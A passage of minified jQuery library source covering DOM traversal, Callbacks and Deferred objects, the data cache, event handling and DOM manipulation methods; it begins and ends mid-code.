this.pushStack(k(e).filter((function(){for(t=0;t<r;t++)if(k.contains(i[t],this))return!0})));for(n=this.pushStack([]),t=0;t<r;t++)k.find(e,i[t],n);return r>1?k.uniqueSort(n):n},filter:function(e){return this.pushStack(C(this,e||[],!1))},not:function(e){return this.pushStack(C(this,e||[],!0))},is:function(e){return!!C(this,"string"==typeof e&&S.test(e)?k(e):e||[],!1).length}});var H,E=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(k.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||H,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:E.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof k?t[0]:t,k.merge(this,k.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:v,!0)),O.test(r[1])&&k.isPlainObject(t))for(r in t)y(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=v.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):y(e)?void 0!==n.ready?n.ready(e):e(k):k.makeArray(e,this)}).prototype=k.fn,H=k(v);var P=/^(?:parents|prev(?:Until|All))/,A={children:!0,contents:!0,next:!0,prev:!0};function R(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}k.fn.extend({has:function(e){var t=k(e,this),n=t.length;return this.filter((function(){for(var e=0;e<n;e++)if(k.contains(this,t[e]))return!0}))},closest:function(e,t){var n,r=0,i=this.length,a=[],o="string"!=typeof e&&k(e);if(!S.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(o?o.index(n)>-1:1===n.nodeType&&k.find.matchesSelector(n,e))){a.push(n);break}return this.pushStack(a.length>1?k.uniqueSort(a):a)},index:function(e){return e?"string"==typeof e?c.call(k(e),this[0]):c.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(k.uniqueSort(k.merge(this.get(),k(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),k.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return T(e,"parentNode")},parentsUntil:function(e,t,n){return T(e,"parentNode",n)},next:function(e){return R(e,"nextSibling")},prev:function(e){return R(e,"previousSibling")},nextAll:function(e){return T(e,"nextSibling")},prevAll:function(e){return T(e,"previousSibling")},nextUntil:function(e,t,n){return T(e,"nextSibling",n)},prevUntil:function(e,t,n){return T(e,"previousSibling",n)},siblings:function(e){return x((e.parentNode||{}).firstChild,e)},children:function(e){return x(e.firstChild)},contents:function(e){return null!=e.contentDocument&&o(e.contentDocument)?e.contentDocument:(j(e,"template")&&(e=e.content||e),k.merge([],e.childNodes))}},(function(e,t){k.fn[e]=function(n,r){var i=k.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=k.filter(r,i)),this.length>1&&(A[e]||k.uniqueSort(i),P.test(e)&&i.reverse()),this.pushStack(i)}}));var I=/[^\x20\t\r\n\f]+/g;function W(e){return e}function N(e){throw e}function $(e,t,n,r){var i;try{e&&y(i=e.promise)?i.call(e).done(t).fail(n):e&&y(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}k.Callbacks=function(e){e="string"==typeof e?function(e){var t={};return k.each(e.match(I)||[],(function(e,n){t[n]=!0})),t}(e):k.extend({},e);var t,n,r,i,a=[],o=[],s=-1,l=function(){for(i=i||e.once,r=t=!0;o.length;s=-1)for(n=o.shift();++s<a.length;)!1===a[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=a.length,n=!1);e.memory||(n=!1),t=!1,i&&(a=n?[]:"")},u={add:function(){return a&&(n&&!t&&(s=a.length-1,o.push(n)),function t(n){k.each(n,(function(n,r){y(r)?e.unique&&u.has(r)||a.push(r):r&&r.length&&"string"!==M(r)&&t(r)}))}(arguments),n&&!t&&l()),this},remove:function(){return k.each(arguments,(function(e,t){for(var n;(n=k.inArray(t,a,n))>-1;)a.splice(n,1),n<=s&&s--})),this},has:function(e){return e?k.inArray(e,a)>-1:a.length>0},empty:function(){return a&&(a=[]),this},disable:function(){return i=o=[],a=n="",this},disabled:function(){return!a},lock:function(){return i=o=[],n||t||(a=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],o.push(n),t||l()),this},fire:function(){return u.fireWith(this,arguments),this},fired:function(){return!!r}};return u},k.extend({Deferred:function(e){var t=[["notify","progress",k.Callbacks("memory"),k.Callbacks("memory"),2],["resolve","done",k.Callbacks("once memory"),k.Callbacks("once memory"),0,"resolved"],["reject","fail",k.Callbacks("once memory"),k.Callbacks("once memory"),1,"rejected"]],n="pending",i={state:function(){return n},always:function(){return a.done(arguments).fail(arguments),this},catch:function(e){return i.then(null,e)},pipe:function(){var e=arguments;return k.Deferred((function(n){k.each(t,(function(t,r){var i=y(e[r[4]])&&e[r[4]];a[r[1]]((function(){var e=i&&i.apply(this,arguments);e&&y(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[r[0]+"With"](this,i?[e]:arguments)}))})),e=null})).promise()},then:function(e,n,i){var a=0;function o(e,t,n,i){return function(){var s=this,l=arguments,u=function(){var r,u;if(!(e<a)){if((r=n.apply(s,l))===t.promise())throw new TypeError("Thenable self-resolution");u=r&&("object"==typeof r||"function"==typeof r)&&r.then,y(u)?i?u.call(r,o(a,t,W,i),o(a,t,N,i)):(a++,u.call(r,o(a,t,W,i),o(a,t,N,i),o(a,t,W,t.notifyWith))):(n!==W&&(s=void 0,l=[r]),(i||t.resolveWith)(s,l))}},c=i?u:function(){try{u()}catch(r){k.Deferred.exceptionHook&&k.Deferred.exceptionHook(r,c.stackTrace),e+1>=a&&(n!==N&&(s=void 0,l=[r]),t.rejectWith(s,l))}};e?c():(k.Deferred.getStackHook&&(c.stackTrace=k.Deferred.getStackHook()),r.setTimeout(c))}}return k.Deferred((function(r){t[0][3].add(o(0,r,y(i)?i:W,r.notifyWith)),t[1][3].add(o(0,r,y(e)?e:W)),t[2][3].add(o(0,r,y(n)?n:N))})).promise()},promise:function(e){return null!=e?k.extend(e,i):i}},a={};return k.each(t,(function(e,r){var o=r[2],s=r[5];i[r[1]]=o.add,s&&o.add((function(){n=s}),t[3-e][2].disable,t[3-e][3].disable,t[0][2].lock,t[0][3].lock),o.add(r[3].fire),a[r[0]]=function(){return a[r[0]+"With"](this===a?void 0:this,arguments),this},a[r[0]+"With"]=o.fireWith})),i.promise(a),e&&e.call(a,a),a},when:function(e){var t=arguments.length,n=t,r=Array(n),i=s.call(arguments),a=k.Deferred(),o=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?s.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(o(n)).resolve,a.reject,!t),"pending"===a.state()||y(i[n]&&i[n].then)))return a.then();for(;n--;)$(i[n],o(n),a.reject);return a.promise()}});var F=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;k.Deferred.exceptionHook=function(e,t){r.console&&r.console.warn&&e&&F.test(e.name)&&r.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},k.readyException=function(e){r.setTimeout((function(){throw e}))};var z=k.Deferred();function B(){v.removeEventListener("DOMContentLoaded",B),r.removeEventListener("load",B),k.ready()}k.fn.ready=function(e){return z.then(e).catch((function(e){k.readyException(e)})),this},k.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--k.readyWait:k.isReady)||(k.isReady=!0,!0!==e&&--k.readyWait>0||z.resolveWith(v,[k]))}}),k.ready.then=z.then,"complete"===v.readyState||"loading"!==v.readyState&&!v.documentElement.doScroll?r.setTimeout(k.ready):(v.addEventListener("DOMContentLoaded",B),r.addEventListener("load",B));var q=function(e,t,n,r,i,a,o){var s=0,l=e.length,u=null==n;if("object"===M(n))for(s in i=!0,n)q(e,t,s,n[s],!0,a,o);else if(void 0!==r&&(i=!0,y(r)||(o=!0),u&&(o?(t.call(e,r),t=null):(u=t,t=function(e,t,n){return u.call(k(e),n)})),t))for(;s<l;s++)t(e[s],n,o?r:r.call(e[s],s,t(e[s],n)));return i?e:u?t.call(e):l?t(e[0],n):a},U=/^-ms-/,J=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(U,"ms-").replace(J,V)}var K=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Z(){this.expando=k.expando+Z.uid++}Z.uid=1,Z.prototype={cache:function(e){var t=e[this.expando];return t||(t={},K(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(I)||[]).length;for(;n--;)delete r[t[n]]}(void 0===t||k.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!k.isEmptyObject(t)}};var X=new Z,Q=new Z,ee=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,te=/[A-Z]/g;function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(te,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=function(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:ee.test(e)?JSON.parse(e):e)}(n)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}k.extend({hasData:function(e){return Q.hasData(e)||X.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return X.access(e,t,n)},_removeData:function(e,t){X.remove(e,t)}}),k.fn.extend({data:function(e,t){var n,r,i,a=this[0],o=a&&a.attributes;if(void 0===e){if(this.length&&(i=Q.get(a),1===a.nodeType&&!X.get(a,"hasDataAttrs"))){for(n=o.length;n--;)o[n]&&0===(r=o[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(a,r,i[r]));X.set(a,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each((function(){Q.set(this,e)})):q(this,(function(t){var n;if(a&&void 0===t)return void 0!==(n=Q.get(a,e))||void 0!==(n=ne(a,e))?n:void 0;this.each((function(){Q.set(this,e,t)}))}),null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each((function(){Q.remove(this,e)}))}}),k.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=X.get(e,t),n&&(!r||Array.isArray(n)?r=X.access(e,t,k.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=k.queue(e,t),r=n.length,i=n.shift(),a=k._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete a.stop,i.call(e,(function(){k.dequeue(e,t)}),a)),!r&&a&&a.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return X.get(e,n)||X.access(e,n,{empty:k.Callbacks("once memory").add((function(){X.remove(e,[t+"queue",n])}))})}}),k.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?k.queue(this[0],e):void 0===t?this:this.each((function(){var n=k.queue(this,e,t);k._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&k.dequeue(this,e)}))},dequeue:function(e){return this.each((function(){k.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=k.Deferred(),a=this,o=this.length,s=function(){--r||i.resolveWith(a,[a])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";o--;)(n=X.get(a[o],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),ae=["Top","Right","Bottom","Left"],oe=v.documentElement,se=function(e){return k.contains(e.ownerDocument,e)},le={composed:!0};oe.getRootNode&&(se=function(e){return k.contains(e.ownerDocument,e)||e.getRootNode(le)===e.ownerDocument});var ue=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&se(e)&&"none"===k.css(e,"display")};function ce(e,t,n,r){var i,a,o=20,s=r?function(){return r.cur()}:function(){return k.css(e,t,"")},l=s(),u=n&&n[3]||(k.cssNumber[t]?"":"px"),c=e.nodeType&&(k.cssNumber[t]||"px"!==u&&+l)&&ie.exec(k.css(e,t));if(c&&c[3]!==u){for(l/=2,u=u||c[3],c=+l||1;o--;)k.style(e,t,c+u),(1-a)*(1-(a=s()/l||.5))<=0&&(o=0),c/=a;c*=2,k.style(e,t,c+u),n=n||[]}return n&&(c=+c||+l||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=u,r.start=c,r.end=i)),i}var de={};function fe(e){var t,n=e.ownerDocument,r=e.nodeName,i=de[r];return i||(t=n.body.appendChild(n.createElement(r)),i=k.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),de[r]=i,i)}function he(e,t){for(var n,r,i=[],a=0,o=e.length;a<o;a++)(r=e[a]).style&&(n=r.style.display,t?("none"===n&&(i[a]=X.get(r,"display")||null,i[a]||(r.style.display="")),""===r.style.display&&ue(r)&&(i[a]=fe(r))):"none"!==n&&(i[a]="none",X.set(r,"display",n)));for(a=0;a<o;a++)null!=i[a]&&(e[a].style.display=i[a]);return e}k.fn.extend({show:function(){return he(this,!0)},hide:function(){return he(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each((function(){ue(this)?k(this).show():k(this).hide()}))}});var me,pe,_e=/^(?:checkbox|radio)$/i,ye=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,ge=/^$|^module$|\/(?:java|ecma)script/i;me=v.createDocumentFragment().appendChild(v.createElement("div")),(pe=v.createElement("input")).setAttribute("type","radio"),pe.setAttribute("checked","checked"),pe.setAttribute("name","t"),me.appendChild(pe),_.checkClone=me.cloneNode(!0).cloneNode(!0).lastChild.checked,me.innerHTML="<textarea>x</textarea>",_.noCloneChecked=!!me.cloneNode(!0).lastChild.defaultValue,me.innerHTML="<option></option>",_.option=!!me.lastChild;var ve={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function be(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||"*"):void 0!==e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&j(e,t)?k.merge([e],n):n}function we(e,t){for(var n=0,r=e.length;n<r;n++)X.set(e[n],"globalEval",!t||X.get(t[n],"globalEval"))}ve.tbody=ve.tfoot=ve.colgroup=ve.caption=ve.thead,ve.th=ve.td,_.option||(ve.optgroup=ve.option=[1,"<select multiple='multiple'>","</select>"]);var Me=/<|&#?\w+;/;function Le(e,t,n,r,i){for(var a,o,s,l,u,c,d=t.createDocumentFragment(),f=[],h=0,m=e.length;h<m;h++)if((a=e[h])||0===a)if("object"===M(a))k.merge(f,a.nodeType?[a]:a);else if(Me.test(a)){for(o=o||d.appendChild(t.createElement("div")),s=(ye.exec(a)||["",""])[1].toLowerCase(),l=ve[s]||ve._default,o.innerHTML=l[1]+k.htmlPrefilter(a)+l[2],c=l[0];c--;)o=o.lastChild;k.merge(f,o.childNodes),(o=d.firstChild).textContent=""}else f.push(t.createTextNode(a));for(d.textContent="",h=0;a=f[h++];)if(r&&k.inArray(a,r)>-1)i&&i.push(a);else if(u=se(a),o=be(d.appendChild(a),"script"),u&&we(o),n)for(c=0;a=o[c++];)ge.test(a.type||"")&&n.push(a);return d}var ke=/^key/,Ye=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,De=/^([^.]*)(?:\.(.+)|)/;function Te(){return!0}function xe(){return!1}function Se(e,t){return e===function(){try{return v.activeElement}catch(e){}}()==("focus"===t)}function je(e,t,n,r,i,a){var o,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)je(e,s,n,r,t[s],a);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=xe;else if(!i)return e;return 1===a&&(o=i,(i=function(e){return k().off(e),o.apply(this,arguments)}).guid=o.guid||(o.guid=k.guid++)),e.each((function(){k.event.add(this,t,i,r,n)}))}function Oe(e,t,n){n?(X.set(e,t,!1),k.event.add(e,t,{namespace:!1,handler:function(e){var r,i,a=X.get(this,t);if(1&e.isTrigger&&this[t]){if(a.length)(k.event.special[t]||{}).delegateType&&e.stopPropagation();else if(a=s.call(arguments),X.set(this,t,a),r=n(this,t),this[t](),a!==(i=X.get(this,t))||r?X.set(this,t,!1):i={},a!==i)return e.stopImmediatePropagation(),e.preventDefault(),i.value}else a.length&&(X.set(this,t,{value:k.event.trigger(k.extend(a[0],k.Event.prototype),a.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===X.get(e,t)&&k.event.add(e,t,Te)}k.event={global:{},add:function(e,t,n,r,i){var a,o,s,l,u,c,d,f,h,m,p,_=X.get(e);if(K(e))for(n.handler&&(n=(a=n).handler,i=a.selector),i&&k.find.matchesSelector(oe,i),n.guid||(n.guid=k.guid++),(l=_.events)||(l=_.events=Object.create(null)),(o=_.handle)||(o=_.handle=function(t){return void 0!==k&&k.event.triggered!==t.type?k.event.dispatch.apply(e,arguments):void 0}),u=(t=(t||"").match(I)||[""]).length;u--;)h=p=(s=De.exec(t[u])||[])[1],m=(s[2]||"").split(".").sort(),h&&(d=k.event.special[h]||{},h=(i?d.delegateType:d.bindType)||h,d=k.event.special[h]||{},c=k.extend({type:h,origType:p,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&k.expr.match.needsContext.test(i),namespace:m.join(".")},a),(f=l[h])||((f=l[h]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(e,r,m,o)||e.addEventListener&&e.addEventListener(h,o)),d.add&&(d.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?f.splice(f.delegateCount++,0,c):f.push(c),k.event.global[h]=!0)},remove:function(e,t,n,r,i){var a,o,s,l,u,c,d,f,h,m,p,_=X.hasData(e)&&X.get(e);if(_&&(l=_.events)){for(u=(t=(t||"").match(I)||[""]).length;u--;)if(h=p=(s=De.exec(t[u])||[])[1],m=(s[2]||"").split(".").sort(),h){for(d=k.event.special[h]||{},f=l[h=(r?d.delegateType:d.bindType)||h]||[],s=s[2]&&new RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"),o=a=f.length;a--;)c=f[a],!i&&p!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(f.splice(a,1),c.selector&&f.delegateCount--,d.remove&&d.remove.call(e,c));o&&!f.length&&(d.teardown&&!1!==d.teardown.call(e,m,_.handle)||k.removeEvent(e,h,_.handle),delete l[h])}else for(h in l)k.event.remove(e,h+t[u],n,r,!0);k.isEmptyObject(l)&&X.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,a,o,s=new Array(arguments.length),l=k.event.fix(e),u=(X.get(this,"events")||Object.create(null))[l.type]||[],c=k.event.special[l.type]||{};for(s[0]=l,t=1;t<arguments.length;t++)s[t]=arguments[t];if(l.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,l)){for(o=k.event.handlers.call(this,l,u),t=0;(i=o[t++])&&!l.isPropagationStopped();)for(l.currentTarget=i.elem,n=0;(a=i.handlers[n++])&&!l.isImmediatePropagationStopped();)l.rnamespace&&!1!==a.namespace&&!l.rnamespace.test(a.namespace)||(l.handleObj=a,l.data=a.data,void 0!==(r=((k.event.special[a.origType]||{}).handle||a.handler).apply(i.elem,s))&&!1===(l.result=r)&&(l.preventDefault(),l.stopPropagation()));return c.postDispatch&&c.postDispatch.call(this,l),l.result}},handlers:function(e,t){var n,r,i,a,o,s=[],l=t.delegateCount,u=e.target;if(l&&u.nodeType&&!("click"===e.type&&e.button>=1))for(;u!==this;u=u.parentNode||this)if(1===u.nodeType&&("click"!==e.type||!0!==u.disabled)){for(a=[],o={},n=0;n<l;n++)void 0===o[i=(r=t[n]).selector+" "]&&(o[i]=r.needsContext?k(i,this).index(u)>-1:k.find(i,this,null,[u]).length),o[i]&&a.push(r);a.length&&s.push({elem:u,handlers:a})}return u=this,l<t.length&&s.push({elem:u,handlers:t.slice(l)}),s},addProp:function(e,t){Object.defineProperty(k.Event.prototype,e,{enumerable:!0,configurable:!0,get:y(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[k.expando]?e:new k.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return _e.test(t.type)&&t.click&&j(t,"input")&&Oe(t,"click",Te),!1},trigger:function(e){var t=this||e;return _e.test(t.type)&&t.click&&j(t,"input")&&Oe(t,"click"),!0},_default:function(e){var t=e.target;return _e.test(t.type)&&t.click&&j(t,"input")&&X.get(t,"click")||j(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},k.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},k.Event=function(e,t){if(!(this instanceof k.Event))return new k.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Te:xe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&k.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[k.expando]=!0},k.Event.prototype={constructor:k.Event,isDefaultPrevented:xe,isPropagationStopped:xe,isImmediatePropagationStopped:xe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Te,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Te,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Te,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},k.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&ke.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Ye.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},k.event.addProp),k.each({focus:"focusin",blur:"focusout"},(function(e,t){k.event.special[e]={setup:function(){return Oe(this,e,Se),!1},trigger:function(){return Oe(this,e),!0},delegateType:t}})),k.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){k.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,a=e.handleObj;return i&&(i===r||k.contains(r,i))||(e.type=a.origType,n=a.handler.apply(this,arguments),e.type=t),n}}})),k.fn.extend({on:function(e,t,n,r){return je(this,e,t,n,r)},one:function(e,t,n,r){return je(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,k(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=xe),this.each((function(){k.event.remove(this,e,n,t)}))}});var Ce=/<script|<style|<link/i,He=/checked\s*(?:[^=]|=\s*.checked.)/i,Ee=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Pe(e,t){return j(e,"table")&&j(11!==t.nodeType?t:t.firstChild,"tr")&&k(e).children("tbody")[0]||e}function Ae(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Re(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Ie(e,t){var n,r,i,a,o,s;if(1===t.nodeType){if(X.hasData(e)&&(s=X.get(e).events))for(i in X.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)k.event.add(t,i,s[i][n]);Q.hasData(e)&&(a=Q.access(e),o=k.extend({},a),Q.set(t,o))}}function We(e,t){var n=t.nodeName.toLowerCase();"input"===n&&_e.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Ne(e,t,n,r){t=l(t);var i,a,o,s,u,c,d=0,f=e.length,h=f-1,m=t[0],p=y(m);if(p||f>1&&"string"==typeof m&&!_.checkClone&&He.test(m))return e.each((function(i){var a=e.eq(i);p&&(t[0]=m.call(this,i,a.html())),Ne(a,t,n,r)}));if(f&&(a=(i=Le(t,e[0].ownerDocument,!1,e,r)).firstChild,1===i.childNodes.length&&(i=a),a||r)){for(s=(o=k.map(be(i,"script"),Ae)).length;d<f;d++)u=i,d!==h&&(u=k.clone(u,!0,!0),s&&k.merge(o,be(u,"script"))),n.call(e[d],u,d);if(s)for(c=o[o.length-1].ownerDocument,k.map(o,Re),d=0;d<s;d++)u=o[d],ge.test(u.type||"")&&!X.access(u,"globalEval")&&k.contains(c,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?k._evalUrl&&!u.noModule&&k._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},c):w(u.textContent.replace(Ee,""),u,c))}return e}function $e(e,t,n){for(var r,i=t?k.filter(t,e):e,a=0;null!=(r=i[a]);a++)n||1!==r.nodeType||k.cleanData(be(r)),r.parentNode&&(n&&se(r)&&we(be(r,"script")),r.parentNode.removeChild(r));return e}k.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,a,o,s=e.cloneNode(!0),l=se(e);if(!(_.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||k.isXMLDoc(e)))for(o=be(s),r=0,i=(a=be(e)).length;r<i;r++)We(a[r],o[r]);if(t)if(n)for(a=a||be(e),o=o||be(s),r=0,i=a.length;r<i;r++)Ie(a[r],o[r]);else Ie(e,s);return(o=be(s,"script")).length>0&&we(o,!l&&be(e,"script")),s},cleanData:function(e){for(var t,n,r,i=k.event.special,a=0;void 0!==(n=e[a]);a++)if(K(n)){if(t=n[X.expando]){if(t.events)for(r in t.events)i[r]?k.event.remove(n,r):k.removeEvent(n,r,t.handle);n[X.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),k.fn.extend({detach:function(e){return $e(this,e,!0)},remove:function(e){return $e(this,e)},text:function(e){return q(this,(function(e){return void 0===e?k.text(this):this.empty().each((function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)}))}),null,e,arguments.length)},append:function(){return Ne(this,arguments,(function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Pe(this,e).appendChild(e)}))},prepend:function(){return Ne(this,arguments,(function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Pe(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return Ne(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}))},after:function(){return Ne(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)}))},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(k.cleanData(be(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map((function(){return k.clone(this,e,t)}))},html:function(e){return q(this,(function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ce.test(e)&&!ve[(ye.exec(e)||["",""])[1].toLowerCase()]){e=k.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(k.cleanData(be(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)}),null,e,arguments.length)},replaceWith:function(){var e=[];return Ne(this,arguments,(function(t){var n=this.parentNode;k.inArray(this,e)<0&&(k.cleanData(be(this)),n&&n.replaceChild(t,this))}),e)}}),k.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){k.fn[e]=function(e){for(var n,r=[],i=k(e),a=i.length-1,o=0;o<=a;o++)n=o===a?this:this.clone(!0),k(i[o])[t](n),u.apply(r,n.get());return this.pushStack(r)}}));var Fe=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),ze=function(e){var 